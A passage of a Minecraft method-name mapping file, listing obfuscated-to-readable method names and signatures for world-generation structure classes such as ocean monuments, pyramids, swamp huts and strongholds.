net/minecraft/world/gen/structure/StructureOceanMonumentPieces$FitSimpleRoomHelper/func_175969_a (Lnet/minecraft/world/gen/structure/StructureOceanMonumentPieces$RoomDefinition;)Z net/minecraft/world/gen/structure/StructureOceanMonumentPieces$FitSimpleRoomHelper/func_175969_a (Lnet/minecraft/world/gen/structure/StructureOceanMonumentPieces$RoomDefinition;)Z +MD: net/minecraft/world/gen/structure/StructureOceanMonumentPieces$FitSimpleRoomHelper/func_175968_a (Lnet/minecraft/util/EnumFacing;Lnet/minecraft/world/gen/structure/StructureOceanMonumentPieces$RoomDefinition;Ljava/util/Random;)Lnet/minecraft/world/gen/structure/StructureOceanMonumentPieces$Piece; net/minecraft/world/gen/structure/StructureOceanMonumentPieces$FitSimpleRoomHelper/func_175968_a (Lnet/minecraft/util/EnumFacing;Lnet/minecraft/world/gen/structure/StructureOceanMonumentPieces$RoomDefinition;Ljava/util/Random;)Lnet/minecraft/world/gen/structure/StructureOceanMonumentPieces$Piece; +MD: net/minecraft/world/gen/structure/StructureOceanMonumentPieces$FitSimpleRoomTopHelper/func_175969_a (Lnet/minecraft/world/gen/structure/StructureOceanMonumentPieces$RoomDefinition;)Z net/minecraft/world/gen/structure/StructureOceanMonumentPieces$FitSimpleRoomTopHelper/func_175969_a (Lnet/minecraft/world/gen/structure/StructureOceanMonumentPieces$RoomDefinition;)Z +MD: net/minecraft/world/gen/structure/StructureOceanMonumentPieces$FitSimpleRoomTopHelper/func_175968_a (Lnet/minecraft/util/EnumFacing;Lnet/minecraft/world/gen/structure/StructureOceanMonumentPieces$RoomDefinition;Ljava/util/Random;)Lnet/minecraft/world/gen/structure/StructureOceanMonumentPieces$Piece; net/minecraft/world/gen/structure/StructureOceanMonumentPieces$FitSimpleRoomTopHelper/func_175968_a (Lnet/minecraft/util/EnumFacing;Lnet/minecraft/world/gen/structure/StructureOceanMonumentPieces$RoomDefinition;Ljava/util/Random;)Lnet/minecraft/world/gen/structure/StructureOceanMonumentPieces$Piece; +MD: net/minecraft/world/gen/structure/StructureOceanMonumentPieces$MonumentBuilding/addComponentParts (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z net/minecraft/world/gen/structure/StructureOceanMonumentPieces$MonumentBuilding/func_74875_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z +MD: net/minecraft/world/gen/structure/StructureOceanMonumentPieces$MonumentBuilding/func_175836_a (Ljava/util/Random;)Ljava/util/List; net/minecraft/world/gen/structure/StructureOceanMonumentPieces$MonumentBuilding/func_175836_a (Ljava/util/Random;)Ljava/util/List; +MD: net/minecraft/world/gen/structure/StructureOceanMonumentPieces$MonumentBuilding/func_175840_a (ZILnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)V net/minecraft/world/gen/structure/StructureOceanMonumentPieces$MonumentBuilding/func_175840_a (ZILnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)V +MD: net/minecraft/world/gen/structure/StructureOceanMonumentPieces$MonumentBuilding/func_175839_b (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)V net/minecraft/world/gen/structure/StructureOceanMonumentPieces$MonumentBuilding/func_175839_b (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)V +MD: net/minecraft/world/gen/structure/StructureOceanMonumentPieces$MonumentBuilding/func_175837_c (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)V net/minecraft/world/gen/structure/StructureOceanMonumentPieces$MonumentBuilding/func_175837_c (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)V +MD: net/minecraft/world/gen/structure/StructureOceanMonumentPieces$MonumentBuilding/func_175841_d (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)V net/minecraft/world/gen/structure/StructureOceanMonumentPieces$MonumentBuilding/func_175841_d (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)V +MD: net/minecraft/world/gen/structure/StructureOceanMonumentPieces$MonumentBuilding/func_175835_e (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)V net/minecraft/world/gen/structure/StructureOceanMonumentPieces$MonumentBuilding/func_175835_e (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)V +MD: net/minecraft/world/gen/structure/StructureOceanMonumentPieces$MonumentBuilding/func_175842_f (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)V net/minecraft/world/gen/structure/StructureOceanMonumentPieces$MonumentBuilding/func_175842_f (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)V +MD: net/minecraft/world/gen/structure/StructureOceanMonumentPieces$MonumentBuilding/func_175838_g (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)V net/minecraft/world/gen/structure/StructureOceanMonumentPieces$MonumentBuilding/func_175838_g (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)V +MD: net/minecraft/world/gen/structure/StructureOceanMonumentPieces$MonumentRoomFitHelper/func_175969_a (Lnet/minecraft/world/gen/structure/StructureOceanMonumentPieces$RoomDefinition;)Z net/minecraft/world/gen/structure/StructureOceanMonumentPieces$MonumentRoomFitHelper/func_175969_a (Lnet/minecraft/world/gen/structure/StructureOceanMonumentPieces$RoomDefinition;)Z +MD: net/minecraft/world/gen/structure/StructureOceanMonumentPieces$MonumentRoomFitHelper/func_175968_a (Lnet/minecraft/util/EnumFacing;Lnet/minecraft/world/gen/structure/StructureOceanMonumentPieces$RoomDefinition;Ljava/util/Random;)Lnet/minecraft/world/gen/structure/StructureOceanMonumentPieces$Piece; net/minecraft/world/gen/structure/StructureOceanMonumentPieces$MonumentRoomFitHelper/func_175968_a (Lnet/minecraft/util/EnumFacing;Lnet/minecraft/world/gen/structure/StructureOceanMonumentPieces$RoomDefinition;Ljava/util/Random;)Lnet/minecraft/world/gen/structure/StructureOceanMonumentPieces$Piece; +MD: net/minecraft/world/gen/structure/StructureOceanMonumentPieces$MonumentCoreRoom/addComponentParts (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z net/minecraft/world/gen/structure/StructureOceanMonumentPieces$MonumentCoreRoom/func_74875_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z +MD: net/minecraft/world/gen/structure/StructureOceanMonumentPieces$DoubleXRoom/addComponentParts (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z net/minecraft/world/gen/structure/StructureOceanMonumentPieces$DoubleXRoom/func_74875_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z +MD: net/minecraft/world/gen/structure/StructureOceanMonumentPieces$DoubleXYRoom/addComponentParts (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z net/minecraft/world/gen/structure/StructureOceanMonumentPieces$DoubleXYRoom/func_74875_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z +MD: net/minecraft/world/gen/structure/StructureOceanMonumentPieces$DoubleYRoom/addComponentParts (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z net/minecraft/world/gen/structure/StructureOceanMonumentPieces$DoubleYRoom/func_74875_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z +MD: net/minecraft/world/gen/structure/StructureOceanMonumentPieces$DoubleYZRoom/addComponentParts (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z net/minecraft/world/gen/structure/StructureOceanMonumentPieces$DoubleYZRoom/func_74875_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z +MD: net/minecraft/world/gen/structure/StructureOceanMonumentPieces$DoubleZRoom/addComponentParts (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z net/minecraft/world/gen/structure/StructureOceanMonumentPieces$DoubleZRoom/func_74875_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z +MD: net/minecraft/world/gen/structure/StructureOceanMonumentPieces$EntryRoom/addComponentParts (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z net/minecraft/world/gen/structure/StructureOceanMonumentPieces$EntryRoom/func_74875_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z +MD: net/minecraft/world/gen/structure/StructureOceanMonumentPieces$Penthouse/addComponentParts (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z net/minecraft/world/gen/structure/StructureOceanMonumentPieces$Penthouse/func_74875_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z +MD: net/minecraft/world/gen/structure/StructureOceanMonumentPieces$Piece/func_175817_a (Lnet/minecraft/world/World;Lnet/minecraft/world/gen/structure/StructureBoundingBox;III)Z net/minecraft/world/gen/structure/StructureOceanMonumentPieces$Piece/func_175817_a (Lnet/minecraft/world/World;Lnet/minecraft/world/gen/structure/StructureBoundingBox;III)Z +MD: net/minecraft/world/gen/structure/StructureOceanMonumentPieces$Piece/func_175819_a (Lnet/minecraft/world/World;Lnet/minecraft/world/gen/structure/StructureBoundingBox;IIIIIILnet/minecraft/block/state/IBlockState;)V net/minecraft/world/gen/structure/StructureOceanMonumentPieces$Piece/func_175819_a (Lnet/minecraft/world/World;Lnet/minecraft/world/gen/structure/StructureBoundingBox;IIIIIILnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/world/gen/structure/StructureOceanMonumentPieces$Piece/func_181655_a (Lnet/minecraft/world/World;Lnet/minecraft/world/gen/structure/StructureBoundingBox;IIIIIIZ)V net/minecraft/world/gen/structure/StructureOceanMonumentPieces$Piece/func_181655_a (Lnet/minecraft/world/World;Lnet/minecraft/world/gen/structure/StructureBoundingBox;IIIIIIZ)V +MD: net/minecraft/world/gen/structure/StructureOceanMonumentPieces$Piece/func_175821_a (Lnet/minecraft/world/World;Lnet/minecraft/world/gen/structure/StructureBoundingBox;IIZ)V net/minecraft/world/gen/structure/StructureOceanMonumentPieces$Piece/func_175821_a (Lnet/minecraft/world/World;Lnet/minecraft/world/gen/structure/StructureBoundingBox;IIZ)V +MD: net/minecraft/world/gen/structure/StructureOceanMonumentPieces$Piece/func_175818_a (Lnet/minecraft/world/gen/structure/StructureBoundingBox;IIII)Z net/minecraft/world/gen/structure/StructureOceanMonumentPieces$Piece/func_175818_a (Lnet/minecraft/world/gen/structure/StructureBoundingBox;IIII)Z +MD: net/minecraft/world/gen/structure/StructureOceanMonumentPieces$Piece/writeStructureToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/world/gen/structure/StructureOceanMonumentPieces$Piece/func_143012_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/world/gen/structure/StructureOceanMonumentPieces$Piece/func_175820_a (III)I net/minecraft/world/gen/structure/StructureOceanMonumentPieces$Piece/func_175820_a (III)I +MD: net/minecraft/world/gen/structure/StructureOceanMonumentPieces$Piece/readStructureFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/world/gen/structure/StructureOceanMonumentPieces$Piece/func_143011_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/world/gen/structure/StructureOceanMonumentPieces$SimpleRoom/addComponentParts (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z net/minecraft/world/gen/structure/StructureOceanMonumentPieces$SimpleRoom/func_74875_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z +MD: net/minecraft/world/gen/structure/StructureOceanMonumentPieces$SimpleTopRoom/addComponentParts (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z net/minecraft/world/gen/structure/StructureOceanMonumentPieces$SimpleTopRoom/func_74875_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z +MD: net/minecraft/world/gen/structure/StructureOceanMonumentPieces$WingRoom/addComponentParts (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z net/minecraft/world/gen/structure/StructureOceanMonumentPieces$WingRoom/func_74875_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z +MD: net/minecraft/world/gen/structure/StructureOceanMonumentPieces$RoomDefinition/func_175958_a ()V net/minecraft/world/gen/structure/StructureOceanMonumentPieces$RoomDefinition/func_175958_a ()V +MD: net/minecraft/world/gen/structure/StructureOceanMonumentPieces$RoomDefinition/func_175959_a (I)Z net/minecraft/world/gen/structure/StructureOceanMonumentPieces$RoomDefinition/func_175959_a (I)Z +MD: net/minecraft/world/gen/structure/StructureOceanMonumentPieces$RoomDefinition/func_175957_a (Lnet/minecraft/util/EnumFacing;Lnet/minecraft/world/gen/structure/StructureOceanMonumentPieces$RoomDefinition;)V net/minecraft/world/gen/structure/StructureOceanMonumentPieces$RoomDefinition/func_175957_a (Lnet/minecraft/util/EnumFacing;Lnet/minecraft/world/gen/structure/StructureOceanMonumentPieces$RoomDefinition;)V +MD: net/minecraft/world/gen/structure/StructureOceanMonumentPieces$RoomDefinition/func_175961_b ()Z net/minecraft/world/gen/structure/StructureOceanMonumentPieces$RoomDefinition/func_175961_b ()Z +MD: net/minecraft/world/gen/structure/StructureOceanMonumentPieces$RoomDefinition/func_175960_c ()I net/minecraft/world/gen/structure/StructureOceanMonumentPieces$RoomDefinition/func_175960_c ()I +MD: net/minecraft/world/gen/structure/StructureOceanMonumentPieces/registerOceanMonumentPieces ()V net/minecraft/world/gen/structure/StructureOceanMonumentPieces/func_175970_a ()V +MD: net/minecraft/world/gen/structure/MapGenScatteredFeature/getStructureName ()Ljava/lang/String; net/minecraft/world/gen/structure/MapGenScatteredFeature/func_143025_a ()Ljava/lang/String; +MD: net/minecraft/world/gen/structure/MapGenScatteredFeature/canSpawnStructureAtCoords (II)Z net/minecraft/world/gen/structure/MapGenScatteredFeature/func_75047_a (II)Z +MD: net/minecraft/world/gen/structure/MapGenScatteredFeature/func_175798_a (Lnet/minecraft/util/BlockPos;)Z net/minecraft/world/gen/structure/MapGenScatteredFeature/func_175798_a (Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/world/gen/structure/MapGenScatteredFeature/getScatteredFeatureSpawnList ()Ljava/util/List; net/minecraft/world/gen/structure/MapGenScatteredFeature/func_82667_a ()Ljava/util/List; +MD: net/minecraft/world/gen/structure/MapGenScatteredFeature/getStructureStart (II)Lnet/minecraft/world/gen/structure/StructureStart; net/minecraft/world/gen/structure/MapGenScatteredFeature/func_75049_b (II)Lnet/minecraft/world/gen/structure/StructureStart; +MD: net/minecraft/world/gen/structure/ComponentScatteredFeaturePieces$DesertPyramid/addComponentParts (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z net/minecraft/world/gen/structure/ComponentScatteredFeaturePieces$DesertPyramid/func_74875_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z +MD: net/minecraft/world/gen/structure/ComponentScatteredFeaturePieces$DesertPyramid/writeStructureToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/world/gen/structure/ComponentScatteredFeaturePieces$DesertPyramid/func_143012_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/world/gen/structure/ComponentScatteredFeaturePieces$DesertPyramid/readStructureFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/world/gen/structure/ComponentScatteredFeaturePieces$DesertPyramid/func_143011_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/world/gen/structure/ComponentScatteredFeaturePieces$JunglePyramid$Stones/selectBlocks (Ljava/util/Random;IIIZ)V net/minecraft/world/gen/structure/ComponentScatteredFeaturePieces$JunglePyramid$Stones/func_75062_a (Ljava/util/Random;IIIZ)V +MD: net/minecraft/world/gen/structure/ComponentScatteredFeaturePieces$JunglePyramid/addComponentParts (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z net/minecraft/world/gen/structure/ComponentScatteredFeaturePieces$JunglePyramid/func_74875_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z +MD: net/minecraft/world/gen/structure/ComponentScatteredFeaturePieces$JunglePyramid/writeStructureToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/world/gen/structure/ComponentScatteredFeaturePieces$JunglePyramid/func_143012_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/world/gen/structure/ComponentScatteredFeaturePieces$JunglePyramid/readStructureFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/world/gen/structure/ComponentScatteredFeaturePieces$JunglePyramid/func_143011_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/world/gen/structure/ComponentScatteredFeaturePieces$Feature/func_74935_a (Lnet/minecraft/world/World;Lnet/minecraft/world/gen/structure/StructureBoundingBox;I)Z net/minecraft/world/gen/structure/ComponentScatteredFeaturePieces$Feature/func_74935_a (Lnet/minecraft/world/World;Lnet/minecraft/world/gen/structure/StructureBoundingBox;I)Z +MD: net/minecraft/world/gen/structure/ComponentScatteredFeaturePieces$Feature/writeStructureToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/world/gen/structure/ComponentScatteredFeaturePieces$Feature/func_143012_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/world/gen/structure/ComponentScatteredFeaturePieces$Feature/readStructureFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/world/gen/structure/ComponentScatteredFeaturePieces$Feature/func_143011_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/world/gen/structure/ComponentScatteredFeaturePieces$SwampHut/addComponentParts (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z net/minecraft/world/gen/structure/ComponentScatteredFeaturePieces$SwampHut/func_74875_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z +MD: net/minecraft/world/gen/structure/ComponentScatteredFeaturePieces$SwampHut/writeStructureToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/world/gen/structure/ComponentScatteredFeaturePieces$SwampHut/func_143012_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/world/gen/structure/ComponentScatteredFeaturePieces$SwampHut/readStructureFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/world/gen/structure/ComponentScatteredFeaturePieces$SwampHut/func_143011_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/world/gen/structure/ComponentScatteredFeaturePieces/registerScatteredFeaturePieces ()V net/minecraft/world/gen/structure/ComponentScatteredFeaturePieces/func_143045_a ()V +MD: net/minecraft/world/gen/structure/MapGenStronghold/getStructureName ()Ljava/lang/String; net/minecraft/world/gen/structure/MapGenStronghold/func_143025_a ()Ljava/lang/String; +MD: net/minecraft/world/gen/structure/MapGenStronghold/canSpawnStructureAtCoords (II)Z net/minecraft/world/gen/structure/MapGenStronghold/func_75047_a (II)Z +MD: net/minecraft/world/gen/structure/MapGenStronghold/getStructureStart (II)Lnet/minecraft/world/gen/structure/StructureStart; net/minecraft/world/gen/structure/MapGenStronghold/func_75049_b (II)Lnet/minecraft/world/gen/structure/StructureStart; +MD: net/minecraft/world/gen/structure/MapGenStronghold/getCoordList ()Ljava/util/List; net/minecraft/world/gen/structure/MapGenStronghold/func_75052_o_ ()Ljava/util/List; +MD: net/minecraft/world/gen/structure/StructureStrongholdPieces$1/canSpawnMoreStructuresOfType (I)Z net/minecraft/world/gen/structure/StructureStrongholdPieces$1/func_75189_a (I)Z +MD: net/minecraft/world/gen/structure/StructureStrongholdPieces$2/canSpawnMoreStructuresOfType (I)Z net/minecraft/world/gen/structure/StructureStrongholdPieces$2/func_75189_a (I)Z +MD: net/minecraft/world/gen/structure/StructureStrongholdPieces$ChestCorridor/addComponentParts (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z net/minecraft/world/gen/structure/StructureStrongholdPieces$ChestCorridor/func_74875_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z +MD: net/minecraft/world/gen/structure/StructureStrongholdPieces$ChestCorridor/buildComponent (Lnet/minecraft/world/gen/structure/StructureComponent;Ljava/util/List;Ljava/util/Random;)V net/minecraft/world/gen/structure/StructureStrongholdPieces$ChestCorridor/func_74861_a (Lnet/minecraft/world/gen/structure/StructureComponent;Ljava/util/List;Ljava/util/Random;)V +MD: net/minecraft/world/gen/structure/StructureStrongholdPieces$ChestCorridor/writeStructureToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/world/gen/structure/StructureStrongholdPieces$ChestCorridor/func_143012_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/world/gen/structure/StructureStrongholdPieces$ChestCorridor/func_175868_a (Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureStrongholdPieces$ChestCorridor; net/minecraft/world/gen/structure/StructureStrongholdPieces$ChestCorridor/func_175868_a (Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureStrongholdPieces$ChestCorridor; +MD: net/minecraft/world/gen/structure/StructureStrongholdPieces$ChestCorridor/readStructureFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/world/gen/structure/StructureStrongholdPieces$ChestCorridor/func_143011_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/world/gen/structure/StructureStrongholdPieces$Corridor/addComponentParts (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z net/minecraft/world/gen/structure/StructureStrongholdPieces$Corridor/func_74875_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z +MD: net/minecraft/world/gen/structure/StructureStrongholdPieces$Corridor/writeStructureToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/world/gen/structure/StructureStrongholdPieces$Corridor/func_143012_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/world/gen/structure/StructureStrongholdPieces$Corridor/func_175869_a (Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;)Lnet/minecraft/world/gen/structure/StructureBoundingBox; net/minecraft/world/gen/structure/StructureStrongholdPieces$Corridor/func_175869_a (Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;)Lnet/minecraft/world/gen/structure/StructureBoundingBox; +MD: net/minecraft/world/gen/structure/StructureStrongholdPieces$Corridor/readStructureFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/world/gen/structure/StructureStrongholdPieces$Corridor/func_143011_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/world/gen/structure/StructureStrongholdPieces$Crossing/addComponentParts (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z net/minecraft/world/gen/structure/StructureStrongholdPieces$Crossing/func_74875_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z +MD: net/minecraft/world/gen/structure/StructureStrongholdPieces$Crossing/buildComponent (Lnet/minecraft/world/gen/structure/StructureComponent;Ljava/util/List;Ljava/util/Random;)V net/minecraft/world/gen/structure/StructureStrongholdPieces$Crossing/func_74861_a (Lnet/minecraft/world/gen/structure/StructureComponent;Ljava/util/List;Ljava/util/Random;)V +MD: net/minecraft/world/gen/structure/StructureStrongholdPieces$Crossing/writeStructureToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/world/gen/structure/StructureStrongholdPieces$Crossing/func_143012_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/world/gen/structure/StructureStrongholdPieces$Crossing/func_175866_a (Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureStrongholdPieces$Crossing; net/minecraft/world/gen/structure/StructureStrongholdPieces$Crossing/func_175866_a (Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureStrongholdPieces$Crossing; +MD: net/minecraft/world/gen/structure/StructureStrongholdPieces$Crossing/readStructureFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/world/gen/structure/StructureStrongholdPieces$Crossing/func_143011_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/world/gen/structure/StructureStrongholdPieces$LeftTurn/addComponentParts (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z net/minecraft/world/gen/structure/StructureStrongholdPieces$LeftTurn/func_74875_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z +MD: net/minecraft/world/gen/structure/StructureStrongholdPieces$LeftTurn/buildComponent (Lnet/minecraft/world/gen/structure/StructureComponent;Ljava/util/List;Ljava/util/Random;)V net/minecraft/world/gen/structure/StructureStrongholdPieces$LeftTurn/func_74861_a (Lnet/minecraft/world/gen/structure/StructureComponent;Ljava/util/List;Ljava/util/Random;)V +MD: net/minecraft/world/gen/structure/StructureStrongholdPieces$LeftTurn/func_175867_a (Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureStrongholdPieces$LeftTurn; net/minecraft/world/gen/structure/StructureStrongholdPieces$LeftTurn/func_175867_a (Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureStrongholdPieces$LeftTurn; +MD: net/minecraft/world/gen/structure/StructureStrongholdPieces$Library/addComponentParts (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z net/minecraft/world/gen/structure/StructureStrongholdPieces$Library/func_74875_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z +MD: net/minecraft/world/gen/structure/StructureStrongholdPieces$Library/writeStructureToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/world/gen/structure/StructureStrongholdPieces$Library/func_143012_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/world/gen/structure/StructureStrongholdPieces$Library/func_175864_a (Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureStrongholdPieces$Library; net/minecraft/world/gen/structure/StructureStrongholdPieces$Library/func_175864_a (Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureStrongholdPieces$Library; +MD: net/minecraft/world/gen/structure/StructureStrongholdPieces$Library/readStructureFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/world/gen/structure/StructureStrongholdPieces$Library/func_143011_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/world/gen/structure/StructureStrongholdPieces$PieceWeight/canSpawnMoreStructures ()Z net/minecraft/world/gen/structure/StructureStrongholdPieces$PieceWeight/func_75190_a ()Z +MD: net/minecraft/world/gen/structure/StructureStrongholdPieces$PieceWeight/canSpawnMoreStructuresOfType (I)Z net/minecraft/world/gen/structure/StructureStrongholdPieces$PieceWeight/func_75189_a (I)Z +MD: net/minecraft/world/gen/structure/StructureStrongholdPieces$PortalRoom/addComponentParts (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z net/minecraft/world/gen/structure/StructureStrongholdPieces$PortalRoom/func_74875_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z +MD: net/minecraft/world/gen/structure/StructureStrongholdPieces$PortalRoom/buildComponent (Lnet/minecraft/world/gen/structure/StructureComponent;Ljava/util/List;Ljava/util/Random;)V 